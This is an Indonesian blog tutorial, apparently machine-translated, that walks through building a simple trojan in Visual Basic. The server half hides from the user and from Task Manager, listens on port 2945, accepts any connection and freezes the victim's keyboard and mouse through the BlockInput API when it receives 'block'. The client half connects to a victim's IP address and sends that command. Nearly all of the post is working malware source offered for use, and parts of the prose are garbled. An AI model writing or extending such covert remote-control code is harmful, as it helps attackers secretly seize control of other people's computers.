Bikin Trojan dengan VB

Visual Basic adalah bahasa pemrograman mudah mudah bahwa sebagian besar programmer canggih bahkan tidak membandingkannya dengan raksasa seperti C / Pascal / C + + / PERL etc.But serius paket punch karena kemudahan dalam pemrograman dan standar Wikipedia Program Trojan di VBprocedures.Earlier menulis tentang cara untuk mengunci keyboard dan mouse dengan menggunakan VB. Kali ini saya akan membahas tentang bagaimana menulis sebuah trojan sederhana di VB. Menulis Trojan yang jauh lebih mudah daripada kebanyakan orang berpikir. Semua itu benar-benar melibatkan dua aplikasi sederhana baik dengan kurang dari 100 baris kode. Aplikasi pertama adalah klien atau program yang satu pengguna tahu tentang. Yang kedua adalah server atau trojan “sebenarnya” bagian. Sekarang saya akan melalui apa yang Anda butuhkan untuk kedua dan beberapa contoh kode.

Server
Server adalah bagian dari program Trojan. Anda biasanya akan ingin hal ini menjadi sebagai tersembunyi mungkin sehingga rata-rata pengguna tidak dapat menemukannya. Untuk melakukan ini, Anda mulai dengan menggunakan

Private Sub Form_Load()
Me.Visible = False
End Sub

Ini sedikit kode membuat program yang tak terlihat dengan mata telanjang. Sekarang kita semua tahu bahwa tugas manajer adalah peskier sedikit. Jadi, untuk mendapatkan aplikasi kita tersembunyi dari yang sedikit lebih baik kita membuat kode kita terlihat seperti ini.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

Jadi sekarang, kami memiliki program yang hampir terlihat oleh pengguna rata-rata, dan hanya mengambil empat baris kode. Sekarang semua Anda berpikir bahwa tutorial ini sekarang juga sucks sehingga memungkinkan membuatnya jauh lebih baik dengan menambahkan fungsi untuk kami Trojan!
Hal pertama yang ingin kita lakukan adalah membuatnya mampu mendengarkan koneksi ketika beban. Jadi untuk melakukan ini kita perlu menambahkan Winsock Control. Aku bernama kontrol saya menang, tetapi Anda bisa nama Anda apa yang pernah.

Sekarang untuk membuatnya mendengarkan pada port 2945 ketika dijalankan Trojan kita membuat kode kita terlihat seperti ini.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2945
win.RemotePort = 455
win.Listen
End Sub

Kode ini akan mengatur port terbuka lokal untuk 2945 dan port yang mengirimkannya adalah 455. Jadi sekarang, kami memiliki program yang mendengarkan tetapi masih tidak melakukan apa pun rapi. Mari kita membuat blok masukan dari pengguna benar-benar ketika kita kirim ke!

Untuk melakukan hal licik kecil kita perlu menambahkan modul dengan kode berikut

Public Declare Function BlockInput Lib “user32” (ByVal fBlock As Long) As Long

Kemudian kita menambahkan kode ini untuk membentuk :

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Kode dalam modul disebut windows API. Menggunakan file dll untuk melakukan tugas-tugas yang kita inginkan. Sekarang kode ini masih tidak akan memblokir masukan pengguna tetapi kami sangat dekat. Kita sekarang perlu program DoActions fungsi yang kita sebut pada form utama kami. Dalam kasus Anda bertanya-tanya kode yang kami tambahkan untuk membentuk melakukan dua hal yang berbeda. Sub pertama yang membuatnya begitu semua permintaan sambungan secara otomatis diterima. Sub kedua membuatnya jadi semua data secara otomatis diterima dan kemudian melewati semua data ke DoActions fungsi yang akan kita kode.

Untuk kode DoActions, kita ingin membuat fungsi publik pada modul. Jadi menambahkan kode ini untuk modul dan kita akan dilakukan dengan server dari Trojan!

Public Function DoActions(x As String)
Dim Action
Select Case x
Case “block”
Action = BlockInput(True)
End Select
End Function

Ok sekarang kami memiliki program yang saat data “blok” dikirim ke port 2945 akan memblokir input pengguna. Aku membuat pernyataan Select Case sehingga mudah untuk mengubah kode ini untuk kebutuhan Anda sendiri nantinya. Saya sarankan menambahkan fitur pemblokiran Anda sendiri. Untuk melakukan itu hanya memanggil fungsi BlockInput dengan argumen salah bukan benar.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2945
win.RemotePort = 455
win.Listen
End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Ingatlah untuk menambahkan kontrol winsock Anda dan nama untuk menang jika Anda menggunakan kode ini.

Itu semua ada di sisi server atau bagian Trojan itu. Sekarang ke Klien.

Klien

Klien akan menjadi apa Anda akan berinteraksi dengan. Anda akan menggunakannya untuk menyambung ke server jauh (trojan) dan kirim perintah. Karena kita membuat sebuah server yang menerima perintah dari “blok” memungkinkan membuat klien yang mengirim perintah “blok”.

Membuat formulir dan menambahkan Winsock Control, kotak teks, dan tiga tombol. Kotak Teks harus dinamai txtIP jika Anda ingin bekerja dengan kode ini. Selain itu, tombol Anda harus dinamai cmdConnect, cmdBlockInput, dan cmdDisconnect. Sekarang mari kita melihat kode tersebut akan kami gunakan untuk membuat Klien kami.

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2945
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
Win.SendData “block”
End Sub

Itu adalah kode untuk klien. Semua hal ini adalah mendapatkan Alamat Ip dari txtIp dan terhubung ke remote pada port 2945. Kemudian ketika terhubung Anda dapat mengirim blok “” data ke blok dari masukan mereka.


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: